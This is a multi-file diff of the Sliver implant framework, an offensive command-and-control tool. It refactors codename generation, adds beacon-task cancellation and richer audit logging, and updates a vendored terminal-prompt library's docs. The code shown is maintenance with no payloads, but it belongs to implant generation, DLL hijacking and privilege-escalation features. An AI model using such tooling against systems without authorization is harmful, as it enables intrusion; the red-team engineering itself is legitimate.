}
|
||||
appDir := assets.GetRootAppDir()
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
|
||||
@@ -111,7 +111,7 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, tunnelData)
|
||||
|
||||
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
|
||||
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
|
||||
if tunnel != nil {
|
||||
@@ -137,7 +137,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
|
||||
|
||||
tunnelData := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, tunnelData)
|
||||
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
|
||||
if !tunnelData.Closed {
|
||||
return nil
|
||||
}
|
||||
@@ -181,10 +181,10 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
|
||||
// return nil
|
||||
//}
|
||||
sessionHandlerLog.Debugf("socksDataHandler:", len(socksData.Data), socksData.Data)
|
||||
SocksTunne := core.SocksTunnels.Get(socksData.TunnelID)
|
||||
if SocksTunne != nil {
|
||||
if session.ID == SocksTunne.SessionID {
|
||||
SocksTunne.FromImplant <- socksData
|
||||
socksTunnel := core.SocksTunnels.Get(socksData.TunnelID)
|
||||
if socksTunnel != nil {
|
||||
if session.ID == socksTunnel.SessionID {
|
||||
socksTunnel.FromImplant <- socksData
|
||||
} else {
|
||||
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
|
||||
}
|
||||
|
||||
+2
-2
@@ -21,7 +21,7 @@ package log
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
@@ -34,7 +34,7 @@ var (
|
||||
func newAuditLogger() *logrus.Logger {
|
||||
auditLogger := logrus.New()
|
||||
auditLogger.Formatter = &logrus.JSONFormatter{}
|
||||
jsonFilePath := path.Join(GetLogDir(), "audit.json")
|
||||
jsonFilePath := filepath.Join(GetLogDir(), "audit.json")
|
||||
jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("Failed to open log file %v", err))
|
||||
|
||||
@@ -19,6 +19,9 @@ package rpc
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
@@ -41,4 +44,6 @@ var (
|
||||
|
||||
// ErrInvalidName - Invalid name
|
||||
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
|
||||
|
||||
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
|
||||
)
|
||||
@@ -107,3 +107,27 @@ func (rpc *Server) GetBeaconTaskContent(ctx context.Context, req *clientpb.Beaco
|
||||
}
|
||||
return task.ToProtobuf(true), nil
|
||||
}
|
||||
|
||||
// CancelBeaconTask - Cancel a beacon task
|
||||
func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
|
||||
task, err := db.BeaconTaskByID(req.ID)
|
||||
if err != nil {
|
||||
return nil, ErrInvalidBeaconTaskID
|
||||
}
|
||||
if task.State == models.PENDING {
|
||||
task.State = models.CANCELED
|
||||
err = db.Session().Save(task).Error
|
||||
if err != nil {
|
||||
beaconRpcLog.Errorf("Database error: %s", err)
|
||||
return nil, ErrDatabaseFailure
|
||||
}
|
||||
} else {
|
||||
// No real point to cancel the task if it's already been sent
|
||||
return task.ToProtobuf(false), ErrInvalidBeaconTaskCancelState
|
||||
}
|
||||
task, err = db.BeaconTaskByID(req.ID)
|
||||
if err != nil {
|
||||
return nil, ErrInvalidBeaconTaskID
|
||||
}
|
||||
return task.ToProtobuf(false), nil
|
||||
}
|
||||
@@ -30,6 +30,7 @@ import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
@@ -46,7 +47,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
var err error
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -34,6 +34,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
@@ -107,7 +108,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
|
||||
name, config := generate.ImplantConfigFromProtobuf(p.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// Kill - Kill the implant proccess
|
||||
// Kill - Kill the implant process
|
||||
func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
|
||||
var (
|
||||
beacon *models.Beacon
|
||||
@@ -55,7 +55,9 @@ func (rpc *Server) killSession(kill *sliverpb.KillReq, session *core.Session) (*
|
||||
return nil, err
|
||||
}
|
||||
timeout := time.Duration(kill.Request.GetTimeout())
|
||||
session.Request(sliverpb.MsgNumber(kill), timeout, data)
|
||||
// Do not block waiting for the msg send, the implant connection may already be dead
|
||||
go session.Request(sliverpb.MsgNumber(kill), timeout, data)
|
||||
core.Sessions.Remove(session.ID)
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -29,9 +29,9 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/msf"
|
||||
)
|
||||
@@ -197,7 +197,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
|
||||
return MSFStage, err
|
||||
}
|
||||
MSFStage.File.Data = stage
|
||||
name, err := generate.GetCodename()
|
||||
name, err := codenames.GetCodename()
|
||||
if err != nil {
|
||||
return MSFStage, err
|
||||
}
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
|
||||
@@ -85,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
if err != nil {
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
@@ -66,7 +67,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
if err != nil {
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package sgn
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
|
||||
@@ -23,10 +23,11 @@ import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware"
|
||||
@@ -41,6 +42,8 @@ import (
|
||||
|
||||
var (
|
||||
serverConfig = configs.GetServerConfig()
|
||||
|
||||
middlewareLog = log.NamedLogger("transport", "middleware")
|
||||
)
|
||||
|
||||
// initMiddleware - Initialize middleware logger
|
||||
@@ -126,9 +129,6 @@ func tokenAuthFunc(ctx context.Context) (context.Context, error) {
|
||||
mtlsLog.Debugf("Valid user token for %s", operator.Name)
|
||||
tokenCache.Store(token, operator.Name)
|
||||
|
||||
// grpc_ctxtags.Extract(ctx).Set("auth.sub", userClaimFromToken(tokenInfo))
|
||||
// WARNING: in production define your own type to avoid context collisions
|
||||
|
||||
newCtx = context.WithValue(newCtx, "operator", operator.Name)
|
||||
return newCtx, nil
|
||||
}
|
||||
@@ -186,26 +186,84 @@ func codeToLevel(code codes.Code) logrus.Level {
|
||||
type auditUnaryLogMsg struct {
|
||||
Request string `json:"request"`
|
||||
Method string `json:"method"`
|
||||
Session string `json:"session,omitempty"`
|
||||
Beacon string `json:"beacon,omitempty"`
|
||||
}
|
||||
|
||||
func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor {
|
||||
return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {
|
||||
var request string
|
||||
rawRequest, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
log.AuditLogger.Errorf("Failed to serialize %s", err)
|
||||
request = fmt.Sprintf("%v", req)
|
||||
} else {
|
||||
request = string(rawRequest)
|
||||
middlewareLog.Errorf("Failed to serialize %s", err)
|
||||
return
|
||||
}
|
||||
middlewareLog.Debugf("Raw request: %s", string(rawRequest))
|
||||
session, beacon, err := getActiveTarget(rawRequest)
|
||||
if err != nil {
|
||||
middlewareLog.Errorf("Middleware failed to insert details: %s", err)
|
||||
}
|
||||
|
||||
msg, _ := json.Marshal(&auditUnaryLogMsg{
|
||||
Request: request,
|
||||
// Construct Log Message
|
||||
msg := &auditUnaryLogMsg{
|
||||
Request: string(rawRequest),
|
||||
Method: info.FullMethod,
|
||||
})
|
||||
log.AuditLogger.Info(string(msg))
|
||||
}
|
||||
if session != nil {
|
||||
sessionJSON, _ := json.Marshal(session)
|
||||
msg.Session = string(sessionJSON)
|
||||
}
|
||||
if beacon != nil {
|
||||
beaconJSON, _ := json.Marshal(beacon)
|
||||
msg.Beacon = string(beaconJSON)
|
||||
}
|
||||
|
||||
msgData, _ := json.Marshal(msg)
|
||||
log.AuditLogger.Info(string(msgData))
|
||||
|
||||
resp, err := handler(ctx, req)
|
||||
return resp, err
|
||||
}
|
||||
}
|
||||
|
||||
func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) {
|
||||
|
||||
var activeBeacon *clientpb.Beacon
|
||||
var activeSession *clientpb.Session
|
||||
|
||||
var request map[string]interface{}
|
||||
err := json.Unmarshal(rawRequest, &request)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
// RPC is not a session/beacon request
|
||||
if _, ok := request["Request"]; !ok {
|
||||
return nil, nil, nil
|
||||
}
|
||||
|
||||
rpcRequest := request["Request"].(map[string]interface{})
|
||||
|
||||
middlewareLog.Debugf("RPC Request: %v", rpcRequest)
|
||||
|
||||
if rawBeaconID, ok := rpcRequest["BeaconID"]; ok {
|
||||
beaconID := rawBeaconID.(string)
|
||||
middlewareLog.Debugf("Found Beacon ID: %s", beaconID)
|
||||
beacon, err := db.BeaconByID(beaconID)
|
||||
if err != nil {
|
||||
middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err)
|
||||
} else if beacon != nil {
|
||||
activeBeacon = beacon.ToProtobuf()
|
||||
}
|
||||
}
|
||||
|
||||
if rawSessionID, ok := rpcRequest["SessionID"]; ok {
|
||||
sessionID := rawSessionID.(string)
|
||||
middlewareLog.Debugf("Found Session ID: %s", sessionID)
|
||||
session := core.Sessions.Get(sessionID)
|
||||
if session != nil {
|
||||
activeSession = session.ToProtobuf()
|
||||
}
|
||||
}
|
||||
|
||||
return activeSession, activeBeacon, nil
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package website
|
||||
import (
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -72,9 +73,14 @@ func GetContent(websiteName string, path string) (string, []byte, error) {
|
||||
|
||||
dbSession := db.Session()
|
||||
content := models.WebContent{}
|
||||
// Use path without any query parameters
|
||||
u, err := url.Parse(path)
|
||||
if err != nil {
|
||||
return "", []byte{}, err
|
||||
}
|
||||
result := dbSession.Where(&models.WebContent{
|
||||
WebsiteID: website.ID,
|
||||
Path: path,
|
||||
Path: u.Path,
|
||||
}).First(&content)
|
||||
if result.Error != nil {
|
||||
return "", []byte{}, result.Error
|
||||
|
||||
-22
@@ -1,22 +0,0 @@
|
||||
language: go
|
||||
|
||||
go:
|
||||
- 1.12
|
||||
|
||||
os:
|
||||
- linux
|
||||
- linux-ppc64le
|
||||
- osx
|
||||
- windows
|
||||
|
||||
go_import_path: github.com/AlecAivazis/survey/v2
|
||||
|
||||
before_install:
|
||||
- go get github.com/alecaivazis/run
|
||||
|
||||
install:
|
||||
- run install-deps
|
||||
|
||||
script:
|
||||
- run tests
|
||||
# - run autoplay-tests
|
||||
+9
-31
@@ -4,48 +4,26 @@
|
||||
|
||||
The following is a set of guidelines to follow when contributing to this package. These are not hard rules, please use common sense and feel free to propose changes to this document in a pull request.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Code of Conduct](#code-of-conduct)
|
||||
1. [Getting Help](#getting-help)
|
||||
1. [Filing a Bug Report](#how-to-file-a-bug-report)
|
||||
1. [Suggesting an API change](#suggesting-an-api-change)
|
||||
1. [Submitting a Contribution](#submitting-a-contribution)
|
||||
1. [Writing and Running Tests](#writing-and-running-tests)
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
This project and its contibutors are expected to uphold the [Go Community Code of Conduct](https://golang.org/conduct). By participating, you are expected to follow these guidelines.
|
||||
|
||||
## Getting help
|
||||
|
||||
Feel free to [open up an issue](https://github.com/AlecAivazis/survey/v2/issues/new) on GitHub when asking a question so others will be able to find it. Please remember to tag the issue with the `Question` label so the maintainers can get to your question as soon as possible. If the question is urgent, feel free to reach out to `@AlecAivazis` directly in the gophers slack channel.
|
||||
|
||||
## How to file a bug report
|
||||
|
||||
Bugs are tracked using the Github Issue tracker. When filing a bug, please remember to label the issue as a `Bug` and answer/provide the following:
|
||||
|
||||
1. What operating system and terminal are you using?
|
||||
1. An example that showcases the bug.
|
||||
1. What did you expect to see?
|
||||
1. What did you see instead?
|
||||
|
||||
## Suggesting an API change
|
||||
|
||||
If you have an idea, I'm more than happy to discuss it. Please open an issue and we can work through it. In order to maintain some sense of stability, additions to the top-level API are taken just as seriously as changes that break it. Adding stuff is much easier than removing it.
|
||||
* [Open an issue](https://github.com/AlecAivazis/survey/issues/new/choose)
|
||||
* Reach out to `@AlecAivazis` or `@mislav` in the Gophers slack (please use only when urgent)
|
||||
|
||||
## Submitting a contribution
|
||||
|
||||
In order to maintain stability, most features get fully integrated in more than one PR. This allows for more opportunity to think through each API change without amassing large amounts of tech debt and API changes at once. If your feature can be broken into separate chunks, it will be able to be reviewed much quicker. For example, if the PR that implemented the `Validate` field was submitted in a PR separately from one that included `survey.Required`, it would be able to get merge without having to decide how many different `Validators` we want to provide as part of `survey`'s API.
|
||||
|
||||
When submitting a contribution,
|
||||
|
||||
- Provide a description of the feature or change
|
||||
- Reference the ticket addressed by the PR if there is one
|
||||
- Following community standards, add comments for all exported members so that all necessary information is available on godocs
|
||||
- Remember to update the project README.md with changes to the high-level API
|
||||
- Include both positive and negative unit tests (when applicable)
|
||||
- Contributions with visual ramifications or interaction changes should be accompanied with the appropriate `go-expect` tests. For more information on writing these tests, see [Writing and Running Tests](#writing-and-running-tests)
|
||||
- Try to make a series of smaller changes instead of one large change
|
||||
- Provide a description of each change that you are proposing
|
||||
- Reference the issue addressed by your pull request (if there is one)
|
||||
- Document all new exported Go APIs
|
||||
- Update the project's README when applicable
|
||||
- Include unit tests if possible
|
||||
- Contributions with visual ramifications or interaction changes should be accompanied with an integration test—see below for details.
|
||||
|
||||
## Writing and running tests
|
||||
|
||||
|
||||
-78
@@ -1,78 +0,0 @@
|
||||
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
|
||||
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/Netflix/go-expect"
|
||||
packages = ["."]
|
||||
revision = "c93bf25de8e869da25cf26bcd2932b36141f61ae"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/davecgh/go-spew"
|
||||
packages = ["spew"]
|
||||
revision = "346938d642f2ec3594ed81d874461961cd0faa76"
|
||||
version = "v1.1.0"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/hinshun/vt10x"
|
||||
packages = ["."]
|
||||
revision = "1954e646417484a2a687ea344edade2c2b6523c8"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/kballard/go-shellquote"
|
||||
packages = ["."]
|
||||
revision = "95032a82bc518f77982ea72343cc1ade730072f0"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/kr/pty"
|
||||
packages = ["."]
|
||||
revision = "282ce0e5322c82529687d609ee670fac7c7d917c"
|
||||
version = "v1.1.1"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/mattn/go-colorable"
|
||||
packages = ["."]
|
||||
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
|
||||
version = "v0.0.9"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/mattn/go-isatty"
|
||||
packages = ["."]
|
||||
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
|
||||
version = "v0.0.3"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/mgutz/ansi"
|
||||
packages = ["."]
|
||||
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/pmezard/go-difflib"
|
||||
packages = ["difflib"]
|
||||
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
|
||||
version = "v1.0.0"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/stretchr/testify"
|
||||
packages = [
|
||||
"assert",
|
||||
"require"
|
||||
]
|
||||
revision = "12b6f73e6084dad08a7c6e575284b177ecafbc71"
|
||||
version = "v1.2.1"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "golang.org/x/sys"
|
||||
packages = ["unix"]
|
||||
revision = "9527bec2660bd847c050fda93a0f0c6dee0800bb"
|
||||
|
||||
[solve-meta]
|
||||
analyzer-name = "dep"
|
||||
analyzer-version = 1
|
||||
inputs-digest = "371508ebad4798adc38a118f858b5c17a65b58594203548f9feb74cb781dd907"
|
||||
solver-name = "gps-cdcl"
|
||||
solver-version = 1
|
||||
-54
@@ -1,54 +0,0 @@
|
||||
# Gopkg.toml example
|
||||
#
|
||||
# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md
|
||||
# for detailed Gopkg.toml documentation.
|
||||
#
|
||||
# required = ["github.com/user/thing/cmd/thing"]
|
||||
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
|
||||
#
|
||||
# [[constraint]]
|
||||
# name = "github.com/user/project"
|
||||
# version = "1.0.0"
|
||||
#
|
||||
# [[constraint]]
|
||||
# name = "github.com/user/project2"
|
||||
# branch = "dev"
|
||||
# source = "github.com/myfork/project2"
|
||||
#
|
||||
# [[override]]
|
||||
# name = "github.com/x/y"
|
||||
# version = "2.4.0"
|
||||
#
|
||||
# [prune]
|
||||
# non-go = false
|
||||
# go-tests = true
|
||||
# unused-packages = true
|
||||
|
||||
|
||||
[[constraint]]
|
||||
branch = "master"
|
||||
name = "github.com/Netflix/go-expect"
|
||||
|
||||
[[constraint]]
|
||||
branch = "master"
|
||||
name = "github.com/hinshun/vt10x"
|
||||
|
||||
[[constraint]]
|
||||
name = "github.com/mattn/go-isatty"
|
||||
version = "0.0.3"
|
||||
|
||||
[[constraint]]
|
||||
branch = "master"
|
||||
name = "github.com/mgutz/ansi"
|
||||
|
||||
[[constraint]]
|
||||
name = "github.com/stretchr/testify"
|
||||
version = "1.2.1"
|
||||
|
||||
[prune]
|
||||
go-tests = true
|
||||
unused-packages = true
|
||||
|
||||
[[constraint]]
|
||||
branch = "master"
|
||||
name = "github.com/kballard/go-shellquote"
|
||||
+81
-43
@@ -1,9 +1,8 @@
|
||||
# Survey
|
||||
|
||||
[](https://travis-ci.org/AlecAivazis/survey)
|
||||
[](https://pkg.go.dev/github.com/AlecAivazis/survey/v2)
|
||||
|
||||
A library for building interactive prompts.
|
||||
A library for building interactive and accessible prompts on terminals supporting ANSI escape sequences.
|
||||
|
||||
<img width="550" src="https://thumbs.gfycat.com/VillainousGraciousKouprey-size_restricted.gif"/>
|
||||
|
||||
@@ -56,39 +55,12 @@ func main() {
|
||||
}
|
||||
```
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Examples](#examples)
|
||||
1. [Running the Prompts](#running-the-prompts)
|
||||
1. [Prompts](#prompts)
|
||||
1. [Input](#input)
|
||||
1. [Suggestion Options](#suggestion-options)
|
||||
1. [Multiline](#multiline)
|
||||
1. [Password](#password)
|
||||
1. [Confirm](#confirm)
|
||||
1. [Select](#select)
|
||||
1. [MultiSelect](#multiselect)
|
||||
1. [Editor](#editor)
|
||||
1. [Filtering Options](#filtering-options)
|
||||
1. [Validation](#validation)
|
||||
1. [Built-in Validators](#built-in-validators)
|
||||
1. [Help Text](#help-text)
|
||||
1. [Changing the input rune](#changing-the-input-rune)
|
||||
1. [Changing the Icons ](#changing-the-icons)
|
||||
1. [Custom Types](#custom-types)
|
||||
1. [Testing](#testing)
|
||||
1. [FAQ](#faq)
|
||||
|
||||
## Examples
|
||||
|
||||
Examples can be found in the `examples/` directory. Run them
|
||||
to see basic behavior:
|
||||
|
||||
```bash
|
||||
go get github.com/AlecAivazis/survey/v2
|
||||
|
||||
cd $GOPATH/src/github.com/AlecAivazis/survey
|
||||
|
||||
go run examples/simple.go
|
||||
go run examples/validation.go
|
||||
```
|
||||
@@ -221,6 +193,28 @@ prompt := &survey.MultiSelect{..., PageSize: 10}
|
||||
survey.AskOne(prompt, &days, survey.WithPageSize(10))
|
||||
```
|
||||
|
||||
#### Select options description
|
||||
|
||||
The optional description text can be used to add extra information to each option listed in the select prompt:
|
||||
|
||||
```golang
|
||||
color := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Choose a color:",
|
||||
Options: []string{"red", "blue", "green"},
|
||||
Description: func(value string, index int) string {
|
||||
if value == "red" {
|
||||
return "My favorite color"
|
||||
}
|
||||
return ""
|
||||
},
|
||||
}
|
||||
survey.AskOne(prompt, &color)
|
||||
|
||||
// Assuming that the user chose "red - My favorite color":
|
||||
fmt.Println(color) //=> "red"
|
||||
```
|
||||
|
||||
### MultiSelect
|
||||
|
||||

|
||||
@@ -295,7 +289,7 @@ survey.AskOne(prompt, &color, survey.WithFilter(myFilter))
|
||||
|
||||
## Keeping the filter active
|
||||
|
||||
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
|
||||
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
|
||||
|
||||
However the user can prevent this from happening and keep the filter active for multiple selections in a e.g. MultiSelect:
|
||||
|
||||
@@ -342,11 +336,13 @@ survey.AskOne(prompt, &color, survey.WithValidator(survey.Required))
|
||||
`survey` comes prepackaged with a few validators to fit common situations. Currently these
|
||||
validators include:
|
||||
|
||||
| name | valid types | description | notes |
|
||||
| ------------ | ----------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------- |
|
||||
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
|
||||
| MinLength(n) | string | Enforces that a response is at least the given length | |
|
||||
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
|
||||
| name | valid types | description | notes |
|
||||
| ------------ | -------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------- |
|
||||
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
|
||||
| MinLength(n) | string | Enforces that a response is at least the given length | |
|
||||
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
|
||||
| MaxItems(n) | []OptionAnswer | Enforces that a response has no more selections of the indicated | |
|
||||
| MinItems(n) | []OptionAnswer | Enforces that a response has no less selections of the indicated | |
|
||||
|
||||
## Help Text
|
||||
|
||||
@@ -361,6 +357,39 @@ All of the prompts have a `Help` field which can be defined to provide more info
|
||||
}
|
||||
```
|
||||
|
||||
## Removing the "Select All" and "Select None" options
|
||||
|
||||
By default, users can select all of the multi-select options using the right arrow key. To prevent users from being able to do this (and remove the `<right> to all` message from the prompt), use the option `WithRemoveSelectAll`:
|
||||
|
||||
```golang
|
||||
import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
)
|
||||
|
||||
number := ""
|
||||
prompt := &survey.Input{
|
||||
Message: "This question has the select all option removed",
|
||||
}
|
||||
|
||||
survey.AskOne(prompt, &number, survey.WithRemoveSelectAll())
|
||||
```
|
||||
|
||||
Also by default, users can use the left arrow key to unselect all of the options. To prevent users from being able to do this (and remove the `<left> to none` message from the prompt), use the option `WithRemoveSelectNone`:
|
||||
|
||||
```golang
|
||||
import (
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
)
|
||||
|
||||
number := ""
|
||||
prompt := &survey.Input{
|
||||
Message: "This question has the select all option removed",
|
||||
}
|
||||
|
||||
survey.AskOne(prompt, &number, survey.WithRemoveSelectNone())
|
||||
```
|
||||
|
||||
|
||||
### Changing the input rune
|
||||
|
||||
In some situations, `?` is a perfectly valid response. To handle this, you can change the rune that survey
|
||||
@@ -456,17 +485,26 @@ For some examples, you can see any of the tests in this repo.
|
||||
|
||||
## FAQ
|
||||
|
||||
### Why isn't sending a SIGINT (aka. CTRL-C) signal working?
|
||||
### What kinds of IO are supported by `survey`?
|
||||
|
||||
When you send an interrupt signal to the process, it only interrupts the current prompt instead of the entire process. This manifests in a `github.com/AlecAivazis/survey/v2/terminal.InterruptErr` being returned from `Ask` and `AskOne`. If you want to stop the process, handle the returned error in your code:
|
||||
survey aims to support most terminal emulators; it expects support for ANSI escape sequences.
|
||||
This means that reading from piped stdin or writing to piped stdout is **not supported**,
|
||||
and likely to break your application in these situations. See [#337](https://github.com/AlecAivazis/survey/pull/337#issue-581351617)
|
||||
|
||||
### Why isn't Ctrl-C working?
|
||||
|
||||
